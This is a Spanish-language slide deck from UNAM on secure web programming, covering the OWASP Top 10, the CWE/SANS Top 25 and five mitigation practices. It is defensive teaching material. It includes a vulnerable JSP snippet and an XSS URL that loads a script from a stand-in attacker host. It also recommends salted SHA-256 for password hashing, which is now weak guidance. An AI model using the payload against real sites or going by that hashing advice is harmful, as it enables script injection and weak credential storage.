Vous êtes sur la page 1sur 29

UNIVERSIDAD NACIONAL AUTNOMA DE MXICO

SECRETARA GENERAL

DIRECCIN GENERAL DE CMPUTO Y DE

TECNOLOGAS DE INFORMACIN Y COMUNICACIN

Recomendaciones para la programacin segura de sitios Web


L.I. Karla Alejandra Fonseca Mrquez Ing. Sergio Eduardo Muoz Siller L.I. Daniel Barajas Gonzlez

La vida digital

En la nube existe un mundo de informacin, con datos de empresas, cuentas bancarias, datos personales y todo tipo de datos delicados. Los proveedores de estos servicios deben incrementar la seguridad de sus aplicaciones.

Reflexin
Como usuario: Cunta informacin tienes en la nube? Crees que tus datos estn seguros? Confas en los proveedores de los servicios? Como administrador o desarrollador de un sitio Web: Qu tan seguras son tus aplicaciones? Qu tan protegidos estn los datos de tus usuarios?

Qu tan segura es tu aplicacin Web?


Tenemos firewalls instalados Realizamos escaneos en la red Usamos SSL

Estamos seguros pues trabajamos dentro de una VPN

Nuestra aplicacin slo se usa de manera interna, la seguridad no importa

A mi aplicacin no le va a pasar
No somos el objetivo de los atacantes

Algunas cifras

Una red segura no es suficiente


El uso de firewalls ayuda en algunos casos, pero en otros varios no. Los ataques a aplicaciones Web ocurren debido a fallas lgicas en el diseo y/o codificacin.

Seguridad de aplicaciones Web

Red Host
Aplicacin
Lgica de presentacin Lgica de negocio Lgica de acceso a datos

Servicios y componentes en ejecucin Servicios y componentes de la plataforma Sistema operativo

LA SEGURIDAD DEBE APLICARSE EN TODOS LOS NIVELES

Retos en una aplicacin Web

Algunas referencias de la industria


OWASP
Open Web Application Security Project Lista de los 10 riesgos ms crticos a los que se enfrentan las aplicaciones Web. Ofrece controles de seguridad y libreras Publicada en 2010

CWE / SANS
Common Weakness Enumeration Lista de los errores de software ms comunes y crticos que pueden llevar a serias vulnerabilidades (de cualquier tipo, no slo Web) Publicada en 2011

OWASP TOP 10
Riesgos ms crticos a los que se enfrentan las aplicaciones Web

CWE/SANS TOP 25
Errores ms comunes y crticos
#1 #2 #3 #4 #5 #6 #7 #8 #9 #10 #11 #12 #13 #14 #15 #16 #17 #18 #19 #20 #21 #22 #23 #24 #25 CWE-89 CWE-78 CWE-120 CWE-79 CWE-306 CWE-862 CWE-798 CWE-311 CWE-434 CWE-807 CWE-250 CWE-352 CWE-22 CWE-494 CWE-863 CWE-829 CWE-732 CWE-676 CWE-327 CWE-131 CWE-307 CWE-601 CWE-134 CWE-190 CWE-759 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Improper Neutralization of Input During Web Page Generation ('Cross -site Scripting') Missing Authentication for Critical Function Missing Authorization Use of Hard-coded Credentials Missing Encryption of Sensitive Data Unrestricted Upload of File with Dangerous Type Reliance on Untrusted Inputs in a Security Decision Execution with Unnecessary Privileges Cross-Site Request Forgery (CSRF) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Download of Code Without Integrity Check Incorrect Authorization Inclusion of Functionality from Untrusted Control Sphere Incorrect Permission Assignment for Critical Resource Use of Potentially Dangerous Function Use of a Broken or Risky Cryptographic Algorithm Incorrect Calculation of Buffer Size Improper Restriction of Excessive Authentication Attempts URL Redirection to Untrusted Site ('Open Redirect') Uncontrolled Format String Integer Overflow or Wraparound Use of a One-Way Hash without a Salt

Por dnde empiezo?

Monster Mitigations - CWE/SANS


Mitigaciones aplicables y efectivas para prevenir y solucionar las vulnerabilidades del OWASP Top 10 y del CWE/SANS Top 25.

Con estas acciones se mitigan errores que incluso no estn en el top 25 de errores. Al adoptar estas mitigaciones las aplicaciones sern ms seguras.

Monster Mitigations
M1. Establece y mantn el control de todas tus entradas M2. Establece y mantn el control de todas tus salidas

M3. Asegura el ambiente

M5. Usa funciones y libreras aceptadas por la industria en lugar de inventar propias

M4. Asume que los componentes externos pueden ser transgredidos y que cualquiera puede leer tu cdigo

M1. Establece y mantn el control de todas tus entradas


Definicin y objetivos

Prcticas

Medida ms efectiva que sirve para defenderse de ataques comunes. Se refiere a revisar la validez de los datos antes de que sean procesados. Evita que entren datos maliciosos o incorrectos a la aplicacin. Previene el uso de datos maliciosos para la generacin de contenidos o comandos.

Nunca confes en el usuario. Considera todas las posibles entradas. Los atacantes pueden modificar la peticin HTTP (WebScarab, TamperData) Centraliza las validaciones. Siempre valida del lado del servidor. Usa validaciones de lista blanca. Evita validaciones de lista negra. Rechaza datos no vlidos.

Ataques que se pueden prevenir


SQL Injection Insecure Direct Object References Cross-site scripting (XSS) Unvalidated redirects and forwards

Ejemplos

Tipo de dato, longitud, formato, rango. Uso de expresiones regulares. Reglas de negocio.

M1. Establece y mantn el control de todas tus entradas


"Bien hecho, Chang. La muralla ya no es tan grandiosa si olvidas cerrar la puerta."

M2. Establece y mantn el control de todas las salidas


Definicin y objetivos

Prcticas

Medida ms efectiva para defenderse de Cross-site scripting. Se refiere a neutralizar los datos potencialmente peligrosos antes de utilizarlos en la generacin de contenidos. Evita el uso de datos maliciosos durante la generacin de contenidos o comandos.

Nunca utilices datos no confiables. Escapa los datos antes de utilizarlos:


Etiquetas de contenido HTML Atributos HTML Javascript CSS y la propiedad Style Parmetros URL XML

Utiliza libreras aceptadas como OWASP Enterprise Security API (ESAPI) .

Ataques que se pueden prevenir


Cross-site scripting (XSS) SQL Injection Insecure Direct Object References Unvalidated redirects and forwards

Ejemplos
& < > " ' / --> --> --> --> --> --> &amp; &lt; &gt; &quot; &#x27; &#x2F;
<script>

&lt;script&gt;

Ejemplo de XSS
err.jsp:
<% String errMsg = request.getParameter("msg"); %> Ocurri un error: <%= errMsg %>

http://sitio/err.jsp?msg=BLAH<script src="http://ev.il/xss.js"></script>

Ocurri un error: BLAH

M3. Asegura el ambiente


Definicin y objetivos

Prcticas

Definir y mantener una configuracin segura de la aplicacin, frameworks, libreras, servidor Web, base de datos y plataformas. Aplicar defensa en profundidad.

Ataques que se pueden prevenir


Acceso no autorizado a interfaces de administrador servidores y bases de datos. Fuga de informacin. Cualquiera al que estn expuestos los componentes y libreras no actualizados.

Aplica las actualizaciones y parches de software y libreras en todos los ambientes. Cambia o deshabilita las contraseas por default. No almacenes contraseas en texto claro dentro del cdigo o dentro de la BD. Configura y utiliza elementos con los menos privilegios posibles. Deshabilita o quita caractersticas o componentes innecesarios. Mantn por separado los privilegios de administrador. Falla de modo seguro sin exponer ms informacin que la necesaria.

Ejemplo de fuga de informacin

M4. Asume que los componentes externos pueden ser transgredidos y que cualquiera puede leer tu cdigo
Por lo tanto:
No dependas de la seguridad por oscuridad. Siempre evala si el conocimiento de tu cdigo o diseo hace vulnerable a la aplicacin. Nunca confes en componentes externos, incluso si t los desarrollaste. An el cdigo compilado y/o ofuscado se puede leer. Cifra o encripta los datos sensibles.

Ejemplo: Hashing de contraseas


Nunca almacenes contraseas en claro. Utiliza un algoritmo conocido y seguro como SHA-256.
OJO: MD5 Y SHA-1 ya no deben usarse.

A cada contrasea se le asocia una sal nica.


La sal es una cadena aleatoria de caracteres que debe ser al menos tan larga como el resultado del algoritmo que se utilizar (256 bits si se ocupa SHA-256).

No uses las funciones rand() que ofrecen los lenguajes, utiliza una funcin segura y estndar para generar la sal. Al cambiar la contrasea tambin debes cambiar la sal.

M5. Usa funciones y libreras aceptadas por la industria en lugar de inventar propias
Aplica en: Criptografa, autenticacin, autorizacin, aleatoriedad, manejo de sesin y registro de bitcoras. Investiga cules son los algoritmos ms seguros en la actualidad y utilzalos. Selecciona lenguajes, libreras o marcos de trabajo que faciliten el uso de esas caractersticas. Aljate de algoritmos secretos o propios.

OWASP Enterprise Security API (ESAPI)

Conclusiones
Incorpora la seguridad a lo largo de todo el ciclo de vida del desarrollo de software. Minimiza el rea de ataque. Aplica la defensa en profundidad. Utiliza diversos mtodos para detectar vulnerabilidades y prevenir riesgos. Mantente informado sobre los riesgos y vulnerabilidades existentes, el top 10 de OWASP es buena referencia.

Bruce Schneier

Referencias
OWASP
http://www.owasp.org Top 10
http://www.owasp.org/index.php/Top_10_2010

A Guide to Building Secure Web Applications and Web Services


https://www.owasp.org/index.php/OWASP_Guide_Project

ESAPI
https://www.owasp.org/index.php/Category:OWASP_Enterprise_S ecurity_API/es

CWE / SANS
Top 25
http://cwe.mitre.org/top25/index.html

Referencias
Fundamental Practices for Secure Software Development http://www.safecode.org/publications/SAFEC ode_Dev_Practices0211.pdf

Infografa sobre el desarrollo de aplicaciones seguras http://www.veracode.com/blog/2012/06/buil ding-secure-web-applications-infographic/

UNIVERSIDAD NACIONAL AUTNOMA DE MXICO


SECRETARA GENERAL

DIRECCIN GENERAL DE CMPUTO Y DE

TECNOLOGAS DE INFORMACIN Y COMUNICACIN

Muchas gracias por su atencin

Vous aimerez peut-être aussi